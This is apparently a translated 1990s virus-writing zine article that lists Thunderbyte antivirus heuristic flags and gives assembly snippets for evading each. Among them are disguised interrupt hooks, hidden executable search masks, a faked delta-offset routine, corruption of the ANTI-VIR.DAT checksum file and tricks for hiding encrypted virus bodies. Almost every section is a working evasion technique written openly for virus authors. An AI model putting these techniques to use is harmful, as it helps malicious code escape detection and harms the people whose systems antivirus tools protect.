Full Thunderbyte Stealth...
What we are trying to do here is to enumerate all the possible
Thunderbyte flags, so that you can be certain that your virus will
not trigger an alarm under any specific circumstances. This text
is essentially the same as the one in the previous issue, only now
it's more complete.
Flag "B" - Back to entry point
------------------------------
This flag appears when a program at some point in its code jumps
to the Entry Point. For a COM that would be a jump to the
beginning (offset 100h).
MOV AX, 100h
JMP AX
It can be spoofed like this:
PUSH 100h
POP AX
JMP AX
Flag "E" - Flexible entry point
-------------------------------
This one pops up when we are calculating the actual offset,
remember? Well, the classic way to code it is as follows:
CALL OBTENER_DIRECCION
OBTENER_DIRECCION:
POP BP
SUB BP, OFFSET OBTENER_DIRECCION
The anti-TB form would be to simulate that POP:
CALL OBTENER_DIRECCION
OBTENER_DIRECCION:
MOV DI, SP
MOV BP, WORD PTR SS:[DI]
SUB BP, OFFSET OBTENER_DIRECCION
INC SP
INC SP
Flag "Z" - EXE/COM determination
--------------------------------
This is the party guilty of detecting many viruses... it's not
so commonly used in conventional programming. Originally, what we
did was to read the first two bytes of a file, toss them into a
buffer and compare against 'ZM' (watch it! ZM and not MZ since the
word is stored in inverse order!)
For example, supposing we already have the first two bytes in a
buffer...:
CMP WORD PTR [BUFFER], 'ZM'
JNE NO_ES_EXE
...
...
...
Ok, that's the conventional way of doing it. But another way is
to compare byte for byte:
CMP BYTE PTR [BUFFER], 'M' ;Remember! we are not
; comparing against ZM since we
; are comparing byte by byte. First
; we compare against M and then Z.
JNE NO_ES_EXE
CMP BYTE PTR [BUFFER+1], 'Z'
JNE NO_ES_EXE
... ;<--- If it got this far, it's
... ; an EXE.
...
Flag "S" - Search for executables
---------------------------------
This one traps the routine which searches for executables....
The search routine is imperative in non-resident viruses, therefore
it is imperative to hide it. We used to search for *.COM or *.EXE
in any directory; what we can do, instead, is to search for *.C?M
and *.E?E and later verify if the center letter is an "o" or an "X"
respectively. For example (assuming we already have the filename
in DTA_AREA):
;Verify that it really is a .COM, not .CAM or something like that..
;To do that, move the pointer to the beginning of the extension
;(look for the period in the file name) and I increment it by 1 so
;that it's at the center of the extension, which is what interests
;us. Now I look for the period:
MOV CX, 13d ;13d is the maximum filename size.
LEA SI, DTA_AREA+1Eh ;1Eh filename displacement in
; DTA area.
LEA DI, PUNTOS ;'Puntos' is a variable full of
; periods (.)
REPNE CMPSB
;Once the period is found, I increment the pointer so that it
;points to the extension's center character:
INC SI
CMP BYTE PTR [SI], 'O'
JNE NO_ES_COM
... ;<--- If it got this far, it's because it's a
... ; real .COM, not a CAM or some such thing
...
Flag "U" - Undocumented interrupt/DOS calls
-------------------------------------------
This is set off when you make calls to undocumented services,
like deactivating V-Safe, for example. To get around it we do the
same as before: instead of MOVing, we pass the values through the
stack and it's done.
Flag "T" - Incorrect time stamp
-------------------------------
TB warns of this problem when it encounters an incorrect or
impossible date. A file with a creation date of 2094, for example.
This generally seen in files infected by stealth viruses, which do
this to test for infection since if it had to open every file it
would be the world's slowest virus. The traditional way is to add
100 or 200 to the year so that a DIR list appears unchanged but the
virus 'knows' it's 100 years 'later'.
Example:
File name Real Date Date shown by DIR command
--------------------------------------------------------
MEM.EXE 01/01/1994 01/01/94 ;<-- Not infected
MEM.EXE 01/01/2094 01/01/94 ;<-- Infected
Flag "M" - Memory resident code
-------------------------------
TB displays this warning when it finds that we obtain or set the
interrupt vectors. One way of spoofing it is typical. Instead of
the following, for example:
MOV AX, 3521H
INT 21H
Try this:
PUSH 3521H
POP AX
INT 21H
But another way of doing the same thing is, instead of hiding
the service, hide the VECTOR! TB warns of resident code only on
critical interrupts, like 13h or 21h. So what we do is to call for
vector 'N-1' instead of vector 'N' and later ad '1' to it. For
example:
MOV AX, 3521H
INT 21H
Change it to:
MOV AX, 3520H
INC AL
INT 21H
Flag "L" - The program traps the loading of software
--------------------------------------------------
This flag triggers the moment TB becomes 'aware' of the typical
comparison used to verify if it is the file execution service(4bh)
once Int 21h is hooked:
CMP AH, 4BH
To spoof this, instead of comparing AH to 4BH, we can pass the
value to be compared to another place and compare it in another
register, so it won't be so obvious to TB that we are comparing the
service:
XCHG AH, AL ; The XCHG instructions are mostly
CMP AL, 4BH ; used to avoid changing registers
XCHG AH, AL ;
Flag "c" - No checksum data
---------------------------
This flag pops up when TB can't find ANTI-VIR.DAT, a small file
TB creates in each directory. TB store critical information about
each program in it, such as the first few bytes and the size of a
COM, or the EXE Entry Point, or other crap like that, as well as
storing the CRC of the original file. If a file is infected, and
ANTI-VIR.DAT still exists, TB realizes that file was modified and
displays the flag, maybe even managing to clean the file.
In other words, it behooves us to make sure that this little
file
no longer exists, or better yet, that TB can't recognize it as its
checksum file. So, instead of erasing it, what we can do is to
modify its header... just the first bytes are enough. We
overwrite 'Thunderbyte' with garbage......
The advantage to modifying the file instead of erasing it is
that we avoid the possibility of TB realizing that ANTI-VIR.DAT is
missing. This way, the file is still there but it's unusable. :-)
Flag "G" - Garbage instructions,
Flag "#" - Found an instruction decryption routine,
Flag "!" - Invalid opcode
--------------------------------------------------
This is what TB displays when it finds "garbage" in the file.
This "pseudo-garbage" is what is usually found after an
encryption... When a virus is encrypted, the remaining code
(obviously not executable) is read as garbage by TB, which then
interprets this as the possible result of encryption and displays
the flag.
A possible solution is to ensure that the result of the
encryption is not larger than the highest instruction. One way of
doing this is to rotate one bit. Another way is to create a false
exit ahead of the encrypted code... TB then thinks that what
follows is program data and does not read it as garbage.
Structure:
JMP DECRYPT ;<ÄÄÄÄÄ Jump to the virus
... ;<ÄÄÄÄÄ Host program
DECRYPT: ... ;<ÄÄÄÄÄ Decryption routine
JMP TE_CAGUE ;<ÄÄÄÄÄ Jump to bypass exit to DOS
MOV AH, 4Ch ;<ÄÂÄÄÄ Code which is never executed
INT 21h ;<ÄÙ
TE_CAGUE:
... ;<ÄÄÄÄÄ Continuation of decryption routine.
¨ÆA¬ ;<ÄÄÄÄÄ Encrypted virus (garbage)
Well, since we delayed too long in getting out this second
issue, it happens that TBav now catches on to the "JMP before the
DOS exit" trick. This doesn't mean TB is going to shit on us,
right? RIGHT! It isn't going to shit on us at all, because what
we can do (thanks to Leviathan's ingenuity, who, totally perturbed
because TB was shitting on his Xou da Xuxa, went without sleep a
whole night and got out a new ANTI-TB 6.20 version) is to make a
DOS call at random, such as to ask for the date. I don't mean make
just ANY call, just calls which won't destroy the contents of the
key registers and such. The code should appear as follows:
JMP DECRYPT ;<ÄÄÄÄÄ Jump to virus
... ;<ÄÄÄÄÄ Host program
DECRYPT: ... ;<ÄÄÄÄÄ Decryption routine
JMP TE_CAGUE ;<ÄÄÄÄÄ Jump to bypass exit to DOS
MOV AH, 4Ch ;<ÄÂÄÄÄ Code which is never executed
INT 21h ;<ÄÙ
TE_CAGUE:
MOV AH, XXX ;<ÄÄÄÄÄ Random call, but make sure nothing
INT XX ; is damaged.
... ;<ÄÄÄÄÄ Continuation of decryption routine.
¨ÆA¬ ;<ÄÄÄÄÄ Encrypted virus (garbage)
Flag "p" - Packed program
-------------------------
This flag isn't really an alarm. It merely tells us that the
file is packed and that it could contain a virus.
Flag "F" - Suspicious file access
---------------------------------
This flag appears when TB detects code capable of modifying file
attributes. We can spoof it in the same manner: instead of MOVing
the value of the service in AH, PUSH and POP it.
Flag "?" - Inconsistent EXE header
----------------------------------
This flag is displayed when TB finds inconsistent information in
the EXE header. For example: the header file size field is
different from the actual size of the file. This could be caused
by overlays in the program, but it could also be caused by a virus
which calculates the new file size improperly.
Flag "O" - Code that overwrites/moves a prog. in memory
-------------------------------------------------------
This appears when we try the restore the first few bytes of a
COM file. Generally what we do is:
mov di, 100h
lea si, [offset BYTES_ORIGINALES+bx] ;<- BX contains the
;offset of the virus
movsb
movsw
(This, of course, can be done in several different ways, but
basically the above example is representative.)
All we need to do here is to replace 'MOV DI, 100' with
'PUSH 100', 'POP DI'.
Flag "A" - Suspicious memory allocation
---------------------------------------
The following is an example of the type of code which sets off
this flag:
mov ax, ds
dec ax
mov es, ax
cmp byte ptr es:[0], 5ah
mov ax, es:[3]
mov dx, es
add dx, ax
... etc...
(As can be seen, we're trying to manipulate the MCBs)
The flag can be avoided by changing the value 5Ah for another in
the following manner:
;instead of...
cmp byte ptr es:[0], 5ah
;write
inc byte ptr es:[0]
cmp byte ptr es:[0], 5bh
It modifies the MCB value, but it's the only way... :-).
Flag "J" - Suspicious jump construct
------------------------------------
This is set off by a chain of Jumps (at least 2) to positions
more or less widely separated in the code. Example:
Start: JMP Continuar
...
Continuar: JMP Virus
...
Virus: <Virus>
Replacing JUMPs with the equivalent PUSH and RET instructions is
ineffective, including PUSH immediate. The same thing happens when
you try to replaces plain and simple JUMPs with a more elaborate
schema, such as using variables, etc. This can be solved by
replacing JUMP with CALL. You use CALL then you get rid of the
offset that remains in the stack, making everything work as if it
were a JMP. For example:
Start: CALL Continuar
...
Continuar: ADD SP, 2
CALL Virus
...
Virus: ADD SP, 2
<Virus>
Flag "K" - Unusual stack
------------------------
We see this pop up with infected EXE's. The problem with this
flag is that it appears when one of the 2 following conditions is
met:
1) When the Stack Segment (SS) and the Code Segment (CS) point to
the same segment. This is normal, of course, because
typically we place some bytes in SS after the virus, sharing
the same segment as the virus's CS (the same CS that is shown
in the header).....
2) When the Stack Pointer (SP) is odd (odd stack).. this is due
to micro computer design, which can't handle segment overflow with
an odd SP.... the machine would hang. Ok, you can use an od SP,
but it's not advisable... the machine won't hang, but keep the
possibilities in mind. But if TB doesn't like it, WE DON'T DO IT,
AND THAT'S ALL! OK? :)
Well, the first is easy to spoof. All we have to do when we
calculate the new CS:IP (pointing to the virus) is to increment the
CS and set is as a new SS:
;Now we have to pass the incremented CS to the header variable
;in the corresponding field
; Initial Stack Segment: header offset 0eh
; Initial Stack Pointer: header offset 10h
INC AX ;<--- In AX for example we have the
; calculated CS and after the INC it
; becomes the new SS.
MOV WORD PTR DS:[HEADER+0eh], AX; Or whatever the fuck you do
; to pass the data to the new header.
Ok, all that remains is the SP which has to be even. Well, what
can I say? Since you put the stack wherever you want, just
calculate it so it comes out even. The virus has a constant
length, and since determine the length of the separation between
the end of the virus and the stack, we calculate it so that the sum
of the two is even and there we are.....
Flag "D" - Disk write access
----------------------------
It is rumored that this one appears when you try direct writes
to the hard drive. Avoid it by simply camouflaging the call to the
interrupt.
Flag "R" - Relocator
--------------------
To elude this flag simply camouflage the registers by using
operations such as PUSH and POP or something like that. If this
flag still pops up, kill yourselves! Your virus is a "mierda".